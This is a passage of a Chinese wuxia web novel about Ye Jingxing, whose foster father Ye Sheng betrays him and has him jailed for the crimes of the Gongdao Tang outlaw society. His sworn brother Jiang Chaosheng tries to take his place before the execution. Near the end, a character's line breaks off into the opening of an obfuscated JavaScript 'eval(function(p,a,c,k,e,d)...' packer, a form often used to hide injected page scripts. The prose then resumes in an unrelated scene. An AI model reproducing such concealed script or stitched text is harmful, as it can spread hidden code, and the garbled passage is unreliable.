香堇身形灵活,不等金芒袭到,一晃身已经飞跃至半空,一团团粉色香雾从衣角袖底飞出,向迎面袭来的叶景行包裹而去,同时娇笑了起来:“公子,怎么打起自己人来?” 叶景行毫不躲闪,闯入毒雾当中,一笔点向香堇面门,森然道:“你给我的匪寨名单上,为何没有铁杀寨?” 眼看笔锋之下就要溅血,巨斧大汉一鼓劲,悍然将巨斧抛出,呼呼风声逼得叶景行退后一步,香堇也踏上斧刃借力一跃,身姿优美地飘落在地面。 她从容敛袖,微笑着辩解:“公子叫我列出三百里内的匪寨,可是铁杀寨距六安县偏偏是三百零一里,我能怎么办呢?” 叶景行落在墙头,不放心地看了叶晟一眼,看到对方投以宽慰的眼神,心才放下,冷笑了一声:“叛主投敌之辈,还敢在此逞口舌之利!” “主仆十年,公子只知道我叫香堇,不知道我姓什么罢?”香堇一边说,一边走向巨斧大汉,她娇小的身躯和身披虎皮的高大男人站在一处,却有一种诡异的和谐感,她微笑着盈盈一礼,又恢复成了那个温柔谦和的贴心丫鬟模样,“我姓雷,我叫雷香堇,这位雷大石寨主,就是我爹。” 叶景行微微一愣,随即讥笑了起来:“原来你从七岁起就潜入王府,还真是计谋深远。” “公子且听我一言,今日之事,不如就此撂下,公子自己离开,我们绝不阻拦。”香堇伸出纤指一点,“若公子能严守秘密,这里的银子,我做主分公子半成。” 叶景行看着朝夕相处的香堇变得如此模样,失望之余也懒得理会,手中判仙笔一转,对叶晟说:“义父,我们一起杀出去!” 他跃过叶晟身边,伸手去抓地上昏迷的董大千—— 就在此刻!叶景行低头的瞬间,一截带血的剑尖从他左胸贯出! 起初是难以言喻的冰凉,而后那穿胸透肺的刺痛才席卷而来,叶景行踉跄了一下,不得不用判仙笔支撑住身体,颤抖着,难以置信地回头…… 身后叶晟表情平静,手中长剑雪亮如秋水,轻轻一抖,落下一溜儿血珠。 相隔十五年,这一幕再度出现,几乎重合。 一只手伸过来,掀开了叶景行的黑金面具,露出他俊秀的脸庞,那惊愕的神色让叶晟些微动容。 “我儿,你为什么就不听话呢?”叶晟喟然长叹,眼神却依旧温柔慈爱,“我待你如亲子,悉心教养,无有不从,你却偏偏和外面的野杂种勾结起来,坏为父的好事,故而我不得不略加薄惩。” 他毫不留情地一掌拍在叶景行小腹,强横霸道的真气灌入,将多年修习明月诀凝成的丹田冲击而溃散,低头俯视着脸色惨白的叶景行,缓缓地问:“你可服气?” “你……你……”叶景行瞪大眼睛,嘴唇开合间,鲜血喷涌而出,他此时终于明白了一切。 是他!是叶晟!当年那个内奸就是叶晟!杀了唐无双的就是叶晟! 公道堂排行第七,诨号公子。 江潮生提醒过他,可他没信! “你想说什么?”叶晟好整以暇,轻松地劈手夺过叶景行手里的判仙笔,把玩了一番,“放心,我没有伤你要害,留你这条命还有用。” 叶景行死死地盯着他,吃力地问:“我父……当年,可曾以武凌弱,欺压江湖同道?” 叶晟蹲下身来,温和地用衣袖擦去他唇边鲜血:“不曾,大哥宅心仁厚,扶危济困,说是普度众生的活菩萨也不为过。” 叶景行闭上眼虚弱地喘了两口气,一字一句地问:“那我父当年,可曾盘剥兄弟,强逼你们卖命?” 叶晟看着他惨白的脸,回顾起另一张相似的面孔,竟有些怅然,继续摇了摇头:“不曾,我自幼失母,父兄视我为草芥,大哥是这辈子对我最好的人。” 他目光中透着怀念,这一点让叶景行毛骨悚然。 “那么……那么……”叶景行艰难地喘着气,用最后的力气质问,“你为何要杀他!?” 你又为何要杀我? 你要杀我,十五年前又何必从火海里救人,这些都只是一个阴谋,一个要把公道堂当工具的计划吗?! 叶晟目光流动,好似无数心思划过,最终还是叹了口气,挥袖一拂:“啰嗦的孩子。” 叶景行双眼一闭,彻底昏死了过去。 同样的深夜,六安县城隍庙。 此处本就破败不堪,前几天又被悬尸示众,虽然捕快拖走了尸体,里正也派人草草清洗过了,但野草蓬生,断壁残垣,越发显得恐怖了起来。 奇怪的是,还真有人来到了庙门口,哆嗦着,惶恐地四下张望,然后低声祷告:“公道堂的大爷啊,显灵显圣吧,昌明赌坊的吴老六他不是人啊!他放印子钱,九出十三归,逼得大家断指切胳膊的……还专门放给我们这些赌钱的人,不去祸害老百姓,我们可怜呐!兜里但凡有点钱,来来回回都到吴老六手里了,他屋子里堆金堆银,都是我们的血汗钱!” 他反复念叨了好几遍,磕头如捣蒜,眼睛却四下乱瞟着。 半天,除了夜风吹过的声音,什么动静都没有,他悻悻然地站起来,往地上吐了口唾沫,大声骂:“什么狗屁公道堂!遇到这种放高利贷的黑心老板,怎么就不出来主持公道正义了?娘的,耽误老子耍钱!” 一边骂骂咧咧,一边转身走了,大概是为了抄近路,还特地钻的小巷子,一路无人。 走出去三条巷子,他突然感觉肩膀上被人拍了一下,吓呆了,战战兢兢地问:“谁?谁啊……” 陡然,一个黑衣人贴近他背后,阴森森地问:“你说的那个吴老六,我怎么没听说过?” “嗷!”他只出了半声,就被脖子上冰凉坚硬的笔尖给顶住吓了回去,只能结结巴巴地说,“昌明赌坊是地下生意,外人不、不知道的……” 他想回头又不敢,小声说:“您真是公道堂的大爷?来劫富济贫的?” 黑衣人嘲弄地笑了:“是,你带我去,我还能分你点。” “好啊好啊!我就是那个贫!” 黑衣人把他往前一推:“带路!” 没想到这个人就着他这一推,猛地往前扑倒,扯开嗓子大叫了起来:“公道堂来了!抓公道堂了!快来人哪!” 黑衣人一惊,气笑了,反手拔出长剑,刚要扑过去一剑索命,就听见不远处的巷子里传出敲锣的声音,声音清脆悠长,瞬间传遍大街小巷,惊醒周围住户,隐然已经有人声赶来。 “呸!”他不甘心地抽剑回身,纵起身形,踩着屋顶急掠而去,此刻六安县里汇集京城府衙好几处人手,他不敢轻易冒险。 一路飞奔,直到出了县城十几里,到了半山腰,他才停下来,还没来得及为今夜差点得到的横财可惜,就听到一个大惊小怪的声音在身后响起:“天哪!知人知面不知心,高护卫,原来你是公道堂啊!” 高远猛回头,三白眼恶狠狠地看向不知道什么时候出现在身后的江潮生。 江潮生瞪大眼睛,表情无辜又吃惊,右手的三根手指还不停搓着:“这个秘密可太大了,让我想一想该要多少封口费好呢?” 事到如今,高远反而镇定下来,不屑地嗤笑:“小子,看不出来,你的轻功不错,居然能跟得上我。” 他抽出长剑,眉目森然:“只可惜,不管你是哪一头的,今天遇上我,都只有闭嘴的份儿。” “哎!你别威胁人啊!我堂堂丐帮小江哥也不是吃素的!”江潮生从脚下捡起一根枯树枝,隔空比比划划。 高远差点放声大笑:“我当年一剑九杀名震西南,你个宝批龙拿根树枝就敢来送死!” 说罢,他长剑一抖,顷刻之间剑光纵横,将江潮生周身上下全部笼罩,封死了他所有退路,若是江潮生抵挡招架——剑气锋锐,别说树枝,胳膊都能给他砍成几截。 意外的是,江潮生不退反进,就地一滚,整个人贴地冲上前来,全力运转流沙诀,真气通过树枝激射而出——正好对着高远脐下三寸。 “啊!”高远发出一声惨绝人寰的痛呼,勉力回剑劈刺却已经晚了,江潮生毫无形象地穿裆而过,转身就是一脚飞踹。 高远此时已经痛得失去了反击能力,捂着伤处在地上滚来滚去,江潮生跳起来踩在他手上,逼得他长剑脱手,才俯身在他身上摸了起来。 直起身子,手中再度握上判仙笔,江潮生才松了一口气,他爱不释手地摩挲着。 这就是叶景行一直带在身边的判仙笔,和自己那杆并无区别,握在手里的感觉都是那么熟悉亲切。 这下好了,我们兄弟又可以人手一只判仙笔,并肩闯荡江湖了,江潮生乐滋滋地想。 江潮生把笔收好,看着高远还在地上打滚,没好气地上去踢了一脚:“放心,我不杀你,还要带你回县衙复命呢。” 高远疼得断断续续地要求:“杀了我……在这杀了我!” “不要!”江潮生断然拒绝,“冒充公道堂,滥杀无辜,你是该死,你背后的人也逃不掉,等着吧。” 也许就是这句话刺激到了高远,他睁着充血的眼睛看了一眼江潮生,突然鼓起最后的力气从地上跳了起来! 江潮生大吃一惊,下意识地后退了一步,拔出判仙笔严阵以待,却见高远连看都没看他一眼,直接冲到旁边的山崖旁,毫不犹豫地跳了下去。 天光大亮,县衙门口人喊马嘶,人人都行色匆匆,江潮生伸着脖子看了半天,才看到喻枫从门口踏出,有条不紊地吩咐下属捕快做事。 人流众多,喻枫半天才看到他,皱着眉走过来,刚要呵斥,江潮生就迫不及待地要求:“喻捕头!我找到线索了,杀害万清华的人……我带你去啊?” 他不敢带着尸体来投案,只能想着把喻枫带过去再作商议。 喻枫看着他,那神情让江潮生很迷惑,好像这一夜发生了什么他不知道的大事。 终于,喻枫压低声音,极为慎重地说:“昨夜钦差传信回来,他已经抓住了那个公道堂,即刻押入江州大牢,等待问斩。” 仿若晴天霹雳,把江潮生震得站立不住,心内惊惧陡生。 他抓住了那个公道堂……哪个? 自己好好地站在这里,高远已经死在悬崖之下,被抓住的难道是—— 叶景行!? 江州大牢历史悠久,经过几次改建,如今分为数层,地面上那层无非关押些偷鸡摸狗扰乱街市的混混,越往下就越是罪大恶极,若到最后一层,那基本是凌迟的罪名了。 此刻,最后一层只有一名囚犯。 叶景行静静地躺在稻草之上,身上的黑衣早已换成白色囚衣,胸口被粗略包扎的伤口静静地渗着血,每一次呼吸都带来尖锐的刺痛。 “我儿。”叶晟负手站在牢门之外,轻声问,“你疼不疼?” 叶景行压根无力开口回答,明月诀造成的割肤之痛和胸口剑伤,使得他连昏迷过去都不能,只能清醒地熬着痛苦。 “其实那天你问我的话,我反复想过。”叶晟在门外踱着步,声音回荡在囚室的走廊中,“你父亲是不是个好人?是,他对我好不好?好得不能再好,可越是这样,越让我感到害怕!” 他转身对着叶景行,语重心长地说:“公道堂若是坏人,那朝廷直接派兵剿灭便是,可他居然是好人,大大的好人,这让朝廷如何自处?!我也曾经劝过大哥,暗中投靠朝廷效力,一样能秉持世间公道,他不肯。” 叶晟自失地笑了笑:“他既然不肯,那只有我来,什么‘天公地道,令出无双’,这世间唯一能称得上天下无双的,只该是至尊至贵的大宁皇朝,我要亲手打造一个新的公道堂,成为皇家手里的一把刀!维持江湖秩序,照样为国为民,惩恶扬善,有何不好?” 他深深地叹气:“可惜,你跟你爹一样,不听话啊。” 叶景行黑黝黝的眸子第一次转向叶晟,终于,他强撑着身体,坐了起来,单薄肩背挺得笔直。 “侠者,不平则鸣。天下不平事,朝廷管不过来,就由公道堂来管,有何不对?有何罪过?” 一字一句,鲜血自唇角流出,涓滴洒下。 “公道堂不是朝廷的公道堂,维护的不是叶家天下,是生活在这块土地上的万千庶民,你想要的公道堂,不过是政斗弄权的工具,所以无辜人可以死!作恶者可以留!这不是公平和道义!” 叶晟怜悯地看着他:“我儿,要知道我在你这年纪,比你还愤世嫉俗,觉得皇室昏庸官员无能,对江湖充满憧憬,侠义道的话本子不知看了多少,拿着把剑就出来闯江湖,可是身在江湖才知道这里的丑恶更甚!阳光照不到的地方,江湖势力犹如毒菌肆意生长,一点一点污染社稷,动摇国本,他们还自有一套规矩,什么狗屁道义,侠义精神。呵!普天之下莫非王土,江湖的规矩不是规矩!只有朝廷的法度才是鉴裁一切至高无上的存在,由不得他们以武犯禁!” 他深深地凝望着叶景行,矜持地伸出一只手:“这几年,常有西洋商人出没,他们给我讲了海那边的情形,早已不是我们想象中的蛮夷之地,船坚炮利,更有火药火铳等莫可名状的兵器,大宁朝必须稳固下来,不能再经受风雨动荡,我儿,你可愿迷途知返,和为父一起匡扶这万里山河?” 叶景行沉默了下来,眼神流动,仿佛真的听进去了。 “你还在犹豫什么?我不婚不嗣,所有的一切都是留给你的,只要你乖乖听话,我们父子同心携手,大宁朝黑白两道尽在掌握,将来别管谁做皇帝,都动摇不了我们的地位。” “可是……”叶景行抬起眼,小声说,“你不是已经把我抓进大牢,马上就要杀头了吗?” 叶晟洒脱一笑,拍了拍牢门:“我只说抓住了公道堂,又没说抓住的是你,你在外面不是还有同伙吗?骗他来,砍他的头就是了。” 他目光温柔,声音里带着诱哄:“只要你点个头,你就还是叶家公子,金尊玉贵,天下无双。” “呵……哈哈哈!”叶景行看着他,大笑了起来,伤口崩裂开,血色侵染在白色囚衣上,犹如盛开了一朵鲜艳的花。 他指着叶晟,鲜血从口中涌出,却笑得越发用力:“你自己背叛了兄弟,出卖了兄弟,就想让我和你一样?叶晟!你真无耻!” 叶晟沉下脸,遗憾地摇摇头,把手缩了回去:“你若这么说,我救不了你了。” 江洲城一大早鸡飞狗跳,坊间纷纷传说,有个疯子掀了一路的铺子,举着蒸笼到处请乞丐吃包子烧麦,自称‘丐帮少帮主’。 此刻,喻枫头疼地看着面前的江潮生。 江潮生手里还拎着两个大蒸笼,眼睛亮晶晶地看着她,主动要求:“是我干的,抓我啊!快点!等不了了!” “江潮生!”喻枫一声怒吼,转身就走,江潮生却毫不害怕,跟在后面挥舞着蒸笼吆喝:“抓我啊!抓我!我要吃牢饭!” 喻枫从兜里掏出碎银子,一路走一路挨家店铺赔过去,最后差几十文钱还是朝路过的段捕头借的。 等她心力交瘁地站在十字街头,江潮生撇嘴从后面探出头来:“你不抓我,明天我还来。” “江潮生!”喻枫怒从心头起,用刀鞘没头没脑地抽过去,“你这条小泥鳅要翻天!?还不乖乖滚到屋顶上晒你的太阳!” 她忍住一口气,凑在江潮生耳边低声说:“没用的,现在他是单独一层,谁都进不去。” 江潮生呆住了,被她抽打了几下,喃喃地问:“那怎么办?” 喻枫顿感头疼,又踹了一脚,咆哮道:“你老实待着!不要给我捣乱!” 喻枫没说谎,此时大牢的最后一层由钦差亲自派人把守,连六扇门副总捕头都无权过问。 钦差是大人物,朝中当权的勤郡王,血缘虽远,据说却是圣上最亲近的兄弟,比同是先帝之子的贤王爷还要得用,副总捕头在他面前也只有低头的份儿。 但是强龙不压地头蛇,到底是百密一疏,这天被喻枫逮到机会,偷溜进了最后一层。 她轻巧无声地走过监室,直至最后一间,看到一人躺在稻草之上,侧着头,乌发披散遮蔽面容,看不清长相。 “喂!提审!”她压低声音喝道,内心忐忑不安,从江潮生的激烈反应,她大约也猜到,被抓的大约就是那位指点过自己刀法的大侠义士。 可惜自己不知道他的真面目,等下该怎么相认呢? 声音惊动了囚犯,他直起胳膊,强撑着身体,一双眼睛从乱发中瞬也不瞬地看着喻枫。 “你……”喻枫认出这双眼睛,是大侠没错! 她激动得刚要开口,就看见囚犯抬起手,拨开发丝,露出了一张她倍感眼熟的脸。 这……这不是那个病秧子贵公子,叶景行吗!? 众所周知,他是勤郡王叶晟的义子啊! 喻枫呆愣在当场,一瞬间,连‘这是父子俩合谋做的扣儿要钓出公道堂同伙自己上当了’都想好了。 叶景行看她发愣的样子,竟微微笑了起来:“是你啊。” “不是……你……”喻枫听这声音,也耳熟! “月饼很好吃,刀法你练熟了吗?” “你……你!”喻枫张口结舌,好不容易反应过来,双手抓着栅栏,急促地低声说,“他们抓了你,当那个公道堂的替罪羊是不是?我知道你是冤枉的,你放心,我……” 她把声音压到近乎耳语:“我会想办法。” 叶景行看着她,苍白的脸上露出温和的笑容,却一句话刺得喻枫内心剧痛,五雷轰顶。 “不用了,我就是那个公道堂。” 他还补了一句:“是我杀了你爹。” 喻枫不知道自己是怎么走出大牢的,她失魂落魄在府衙游荡,直到被相不凡叫住,说钦差要见她。 她浑浑噩噩走到二堂,看见钦差叶晟坐在上面,案上堆着卷宗,此刻摊开的正是几分尸格。 “喻捕头。”叶晟淡淡地说,“我正在查看公道堂犯下的几桩案子,有些不明白的地方,要多方听听大家的见解。” 喻枫脑子一团乱,只能机械地向上拱手:“大人请问。” 叶晟修长手指拈起尸格:“关于致命伤处,我看尸格上写着,凡判仙笔所伤,创口处都有点点金沙留存,和凶器材质有关,但受创的部位,深度,各有不同……比如金满堂喻东升之死,是喉头穿透,一击致命。” 喻枫木然地开口:“大人容秉,金满堂一案,属下并未参与。” “哦?”叶晟吃惊地问,“你是江洲城首屈一指的能吏,五年考评优异,年轻有为,上下交口称赞,此案重大,怎么会不让你参与呢?” 喻枫垂着头,恭谨地回答:“纪大人的安排,属下不敢揣测上意。” 叶晟反复对比手中尸格,放下又长叹一声:“如今有所疑点,最好是重新验尸,你可知喻东升的尸体现在何处?” 喻枫整个人仿佛抽离出来所有情绪,只有喉咙口泛着奇怪的腥气,是从心底深处丝丝缕缕泛上来的血气。 她平静地回答:“像这样无人认领的尸体,照例是由义庄收敛下葬的,一问可知。” “哦?”叶晟向前倾身,专注地看着她,“若派你去掘坟起棺,你可愿意?” “上命所差,无有不从。”喻枫向上拱手,“若无其他吩咐,属下这就前去。” 叶晟唇边挂起一丝微笑,重新靠回椅背上:“倒也不急,反正公道堂罪证确凿,也不差这一条人命。圣上听闻江州有此大奸大恶之辈,龙颜大怒,下旨即刻问斩,也就在这几日了,相捕头督查四方,段捕头弹压地面,都各有其职,这监牢法场就交给你看管了,你可要严加防范,务求不出差错。” 喻枫低垂的头缓缓抬起,重重地答道:“是!属下绝不辱命!” 江潮生在府衙外的巷子口一直等到夜晚,才看到喻枫出来,他做贼一样跟了上去,待到无人的地方才敢小声问:“怎么样?有办法吗?” 却不料喻枫转身,脸色铁青,一把抓住他的衣领把他推到墙上,扼住他的脖子,死死瞪着他。 “到底有几个公道堂?” 江潮生眼神躲闪,没回答,喻枫却凄厉地笑了起来:“从头到尾就只有一个,对吧!杀我爹的是他,为灾民行侠仗义的也是他,杀万清华的是他,关在牢里的还是他!” “不不不!”江潮生心知不妙,强辩,“你亲眼看到的,有两个啊!两杆笔,两个人” 喻枫慢慢松开了他,阴森森地说:“可是牢里那个已经亲口承认了,他就是杀我爹的凶手。” 她看着江潮生的神色变化,悲哀地笑了起来:“他也知道我爹是冤枉的,所以后来指点我刀法,这算什么?补偿吗?江潮生!我一直把你当朋友,你这又算什么!?让我去救我的杀父仇人,就因为他是大侠,他做过好事?只有你们江湖人才会这样罔顾是非只看道义!国家律法白纸黑字写着,杀人偿命!” 江潮生双手乱摇:“不是,他是受人蒙蔽的,杀错人了!不是有意为之!” “杀人就是杀人!”喻枫斩钉截铁地说,“没有什么杀错,杀错了也得偿命!” 江潮生看她双眼血红,已经暴怒至极,只能低声下气地说:“好,那我偿命行不行?用我的命换他的命,如何?” “住口!还是你们那套江湖规矩,以身相代,兄弟情深,多讲义气啊!”喻枫失望至极地看着他,“但律法不是这么规定的,谁杀人,谁偿命,没有替命一说!若有了,那就是大宁律的耻辱!是江州府衙上下所有人的耻辱!” 她转身就走,江潮生冲上去拦住:“喻捕头!求你了。” 喻枫像看陌生人一样冰冷地看着江潮生,目光中充满憎恶:“你想替他死,你自己滚进牢里去跟他换啊!求我干什么!?” 说完,她唰地抽出单刀,雪亮刀光映照在江潮生脸上:“滚!” 地牢黑暗,不知日月,叶景行也不知道自己苟延残喘了多久,直到这天,来送饭的变成了一个白发苍苍的老牢头,颤巍巍地提着个竹篮,将里面的东西放进栅栏里。 一杯酒,一块五花三层肉。 叶景行看着,竟笑了起来:“这就是传说中的断头饭吗?” 老牢头身体也不好,咳了两声,弯着腰催促:“吃了吧,吃得饱饱的,明天好上路。” 他见叶景行不动,嘿嘿笑了两声:“也是,到了这种时候,哪有人还能吃得下呢?你要真的不吃,就便宜我了如何?” 叶景行诧异地看着他:“你不嫌晦气,那就请便。” 老牢头也不客气,盘膝在走道坐下,枯瘦的手指抓起肉大口啃咬起来,吃得顺嘴流油,又把酒端过来,惬意地咂了一口。 “我说你小子,看起来是个富家子弟模样,好眉好眼的,放着富贵日子不过,去掺和这种砍头的生意。”老牢头吃美了,一个人唠叨起来,“想什么呢?” 叶景行肩背挺直,坐在黑暗中,瞧不见他脸上表情,他淡淡地说:“很早之前,我也问过我爹同样的问题,我家祖上行商,几辈子躺着享用不完的富贵,但是我爹却总是外出,回来的时候身上往往还带着伤,我问他做什么去了,他说是去行侠仗义,帮助江湖上那些受了冤屈无处求告的人……” 他抬起头,眼睛看着黑暗的牢顶,却好像穿过了层层石壁,一直看到了天空。 “我问他,书上说,‘法者,天下之程式也’,老百姓有了冤枉,自然是要向官府去求个公道,怎么会需要他出手呢?国家这么大,他一个人又能做多少事?我爹笑了,说书上也说,‘公生明,偏生暗。’,红日当头,阳光普照的地方可以靠律法,那些阳光照不到的角落,很多人被欺辱被杀害,这时候若有一个人能站出来,就算他不能面面俱到,但只要他做了,就能让坏人有一丝忌惮之心,受屈的人能看到一线希望,江湖才不至于沉沦到弱肉强食蛮横无序的状况。” 恍惚间,好像又回到了小时候,唐无双抱着自己,指着天上一道雨后彩虹,温和地对他说:“景行,你看这雨后彩虹稍纵即逝,但天下人只要仰头就能看见这一瞬间的绚烂美丽,为父之力虽绵薄,但求以身化虹,让所有人都知道世间到底还是有公理正义在的。” 叶景行闭上眼睛,自失地一笑:只可惜自己犯了错,如今只有在牢里等死。 “唉。”老牢头吃完了肉,端起酒杯一饮而尽,却没有起身离开,而是伸出手,在地上摸索着什么,忽然,寂静的牢房里传来一阵吱嘎声,一个熟悉的声音抱怨着:“老头,你这机关不灵啊,我推了半天。” 叶景行猛然睁眼,诧异地看向外面,这里明明已经是地牢的最后一层,但一块石板掀起,从下面竟钻上来一个人! 来人一抬头!竟然是和自己长得一模一样的脸!和自己穿着一样的囚服,胸口也被染成血褐色,隔着栅栏面对面,就像照镜子一样。 他还笑了!用自己的脸挂着灿烂的笑容,像是偷了鸡的狐狸那么得意。 “快快快!老头,快把牢门打开。”江潮生催促。 老牢头慢吞吞地摸着钥匙:“莫急,你们商量好了再说。” “这有什么可商量的!他出来,换我进去。”江潮生抓着栅栏,看着叶景行惊愕的脸,开心地笑了,摸上自己的脸,“像吧?三叔这个千面人还真有几把刷子。” 他突然想起来介绍:“这位,是公道堂排行第四的,你叫声四叔就行,哎呀,四叔你多年不见踪影,原来藏在牢里!” 老牢头好容易摸到了钥匙,颤巍巍就要往锁上凑,叶景行再也不顾,冲上来拦住:“你们要做什么!?” 江潮生赶紧截住他,四下张望:“时间不多,你别问了,总之听我安排……放心,我不是来送死的!我想了很久,明天要劫法场的话,也是你在外面更合适,你武功高强,你救我还不是易如反掌,我就不行了,那么多高手,我打不过怎么办?” 他兴冲冲地从怀里掏出判仙笔,硬掰开叶景行冰凉的手指塞进去,眼睛亮闪闪地说:“兄弟,我就指望你了,你明天可一定要来救我啊。” 叶景行的眼神从他脸上移到判仙笔上,又慢慢移到后面老牢头的脸上,淡然一笑:“我受了重伤,现在站都站不起来,怎么救你?” 江潮生噎住了,但立刻就说:“没事!没事啊!出去再想办法,四叔,快点开锁,你行不行啊!” 老牢头又将钥匙对准锁眼,却被叶景行再度拦住,他看着江潮生,声音轻柔地说:“不,你就是来送死的。” 被他揭穿了心思,江潮生也不尴尬,依旧笑嘻嘻地说:“当年师父在江边救了我的小命,如今是我报恩的时候啦,我一条小泥鳅,便是活着也掀不起多大风浪,替你死,不可惜!” 他握住叶景行的手,诚挚地说:“只要你记得,以后万事谨慎小心,明察秋毫,不要再被人蒙蔽,做错事,杀错人……我就没有白死。” “喻东升不是我杀的。”叶景行突然说,“我质问他为何勾结盗匪作案,他只肯承认销赃,直到我怒斥他连唐无双被毁家灭门的赃物都收,案头上还放着唐家的和田玉镇纸,他突然愣住了,拿起镇纸看到了隐秘之处的唐字小印,我……我是想杀他,但他写完认罪书,直接对着判仙笔撞了过来,自戕身亡。” 叶景行低垂着眼睛,苦笑了起来:“你看,是人都知道,错了就要偿还,我又怎么能例外呢?” “嗨呀!这话你留着对喻枫说去!”江潮生来抓他的袖子,“先出来再说。” 叶景行反而往后退了一步,一脸平静:“我知道喻枫是你的朋友,日后只能由你告诉她。” 见说不通,江潮生性急地回头,“快开锁!” 就在他回头的瞬间,叶景行突然反手攥住了江潮生的手腕,右手的判仙笔灵蛇一般,凭空点出三十六道锋芒,将江潮生周身大穴尽数笼罩。 ‘噗通’一声,江潮生栽倒在地,只有眼睛还能乱转。 叶景行缓缓地站起身来,居高临下看着他:“雨花笔法十三式,我只教了你九式,那是因为只有前九式是杀招,剩下的四式里,有三式是以笔代针,疗伤治愈,疏通经脉,增强根骨的春风笔法。” 他微微一笑:“今日之后,我还你一个脱胎换骨的江潮生。” 不等江潮生拒绝,叶景行手腕一翻,金芒流转,化成一道璀璨星河,盘旋缠绕在江潮生周围,一点一滴没入。 斗大汗珠从江潮生额头滚落,他目眦欲裂瞪着江潮生,却丝毫动弹不得,只感觉周身一时炽热一时冰寒,经脉筋骨全都被碾碎重塑一般,又有一缕细微但精纯的真气沿着四肢百骸而入,游走全身,让他不由自主地随之运转,终至融为一体,无分彼此。 “噗!”叶景行神疲力竭,在三式行完之后,再也支撑不住身体,向前扑倒在栅栏上,鲜血接连喷出,他喘息着,抬起眼睛看向老牢头要求:“带、带他走……” 老牢头满布皱纹的脸上毫无表情,低头收拾装断头饭的篮子,不紧不慢地说:“我啊,从前是江州府的押司……都说公门内好修行,可我一路看了太多贪赃枉法的事,胸有不平,无处发泄,才加入了公道堂,我一直以为我是个行侠仗义的英雄了,直到龙头大哥出了事,公道堂风流云散,大家都惧怕那个内奸,谁也不敢出头,谁又能不怕死呢?我隐姓埋名在牢里躲了十五年,但今天,我不想躲了!” 他颤巍巍地站起来,去摸索牢门上的锁:“你们都是好孩子……我这把老骨头别的本事没有,送你们两个一起走还是办得到的。” “不可!”叶景行勉力抓住他的手阻止,“叶晟睚眦必报,行事从来不留余地,你放走了我,明日江洲城必定腥风血雨,若是牵连了无辜百姓,我就是逃掉了,下半辈子也会愧悔终生!” 他仰头看着老牢头,目光明亮而坚定:“带他走。” 终于,老牢头无力地点了点头。 叶景行用最后残存的力气,把判仙笔塞到了江潮生的怀里,凑过去,隔着栅栏轻声说:“小江,还记得吗?你说过要送我一个雪人,以后每一年下雪的时候你都要记得这事,给我堆一个大的,越大越好,这是你欠我的,每一年都要,不许忘记。” 十五年前的那个雪夜,两人头靠头地挤在被窝里,那些稚儿戏言,当初只道是寻常,以为有一辈子的时间可以慢慢践诺…… 他突然感到衣角移动,低头一看,是江潮生缓过劲来,瞪大了眼睛,伸手摸索进栅栏里,死死地抓住了他的衣角,目光中全是恳求。 “兄弟,对不住。”叶景行伸手下去握住了江潮生的手,终于忍不住哽咽失声,“前路迢迢,要辛苦你孤身一人走下去……” 一滴泪水落在两人交握的手上。 滚烫。 大宁朝承熙十八年,十月初五。 一大早就是个好天气,风和日丽,阳光灿烂,街边的树叶刚刚转黄却并未凋落,正是金秋时节好风景。 而今天也是罪大恶极的江湖匪盗‘公道堂’被就地正法的好日子。 十字街头早就布置好了法场,府兵把守森严,但江州百姓,包括下面县城农村的好事之人,都纷纷跑来准备观赏杀头的热闹。 为了以防万一,十字街头所有大小商户住宅,全部闭门落锁,一人不留,看热闹的只能簇在街头,摩肩擦踵好生拥挤。 在各个巷子口还设立了一柄幡样物件,上面缠满彩纸,顶端硕大如冬瓜,鼓鼓囊囊也不知道塞了什么东西,观客们呼朋唤友,甚至把这玩意儿当成了地标。 后面的巷子里也挤满了人,踮着脚试图从人头攒动中看到一鳞半爪,回去好吹嘘。 奇怪的事,往常街头随处可见的叫花子此时一个不见,常年在巷口拉着胡琴的瞎老头也不见踪影。 江潮生认认真真地最后整理了一下装束,仰脸爽朗一笑:“老爹,我走啦。” 瞎老头沉默地坐着,手里紧握着那把破旧的胡琴,反而是站在身边的张发财拄着竹竿,不耐烦地挥手:“你这一走,我可就是丐帮少帮主了。” 江潮生一笑,也不多言,转身就走,踏出院门的时候,瞎老头拉动琴弓,却不再是平时凄婉哀怨的曲调,而是弦音如电,铮铮而响,仿若千军万马即将踏破沙场。 “走咯!”江潮生迎着阳光走出巷子,快活地挥手,“小泥鳅翻江倒海去咯!” 按规矩午时三刻问斩,此时还不到时辰,府衙门口的所有巷子都挤得动弹不得,秋阳热烈,晒得大家一脸一头的汗,怨声载道,刚才那股兴冲冲的劲儿早就泄了,但此时转身离开,第一是不甘心,其次后面的人越聚越多,也挤不出去。 叶晟一袭灰衣,身披大红披风,缓缓走来,扫了一眼面前的汹涌人流,满意地笑了,一挥手:“带人犯。” 禁所大门洞开,叶景行被拖行而出,人群兴奋地叫嚷起来:“看见了!看见了!江洋大盗!” “怎么不说话?也不唱两句?不是英雄吗?” “这就开杀了?我还啥都没看见呢!” 叶景行被强摁在高台上跪好,叶晟走过去,轻轻在他耳边说:“听见了吗?这就是你和你爹拼了命不要也要维护的庶民?” “他们是大宁子民。”叶景行声音低哑,“你弃如敝履的,将来势必悔不当初。” 叶晟只是一笑,强行扭过他的头,让他看着各个巷子口的彩幡:“看见了吗?” “可惜我只有一颗头颅,不能每个杆子上都悬挂示众。”叶景行居然还笑了起来,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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大汉变了脸,狠辣地逼上前来:“狗官差,敢对爷爷大呼小叫的?你可知道我是谁?” “杜叔!”清脆娇俏的声音打断了他发狠的话,香堇从背后赶了过来,手持一块鎏金令牌,递给喻枫,歉意地说:“喻捕头,这是勤郡王府新招的侍卫们,不懂规矩,请别见怪,但大家初心都是为了今日的红差能平顺,对吧?” 喻枫接过金牌,翻来覆去看了半天,也不去理大汉威胁的狞笑,只看着香堇问:“所以今日法场不需要府衙捕快护卫,是王爷的意思?” “正是。”香堇笑颜如花,“辛苦喻捕头,且去后堂喝茶。” “不必了。”喻枫把金牌丢还给她,“段捕头巡街正需要人手,我们留在此地无益,还是去榜一帮他。” 她一挥手,属下捕快跟着她调头离开,走出十几丈,才有个小捕快轻声说:“头儿,这群人……不大地道啊?” 喻枫冷笑:“也好,出了事不用府衙出抚恤金。” “啥?喻头儿你可别吓我啊!今天这阵仗,要么不出事,要出就是大事。”小捕快缩头缩脑地说。 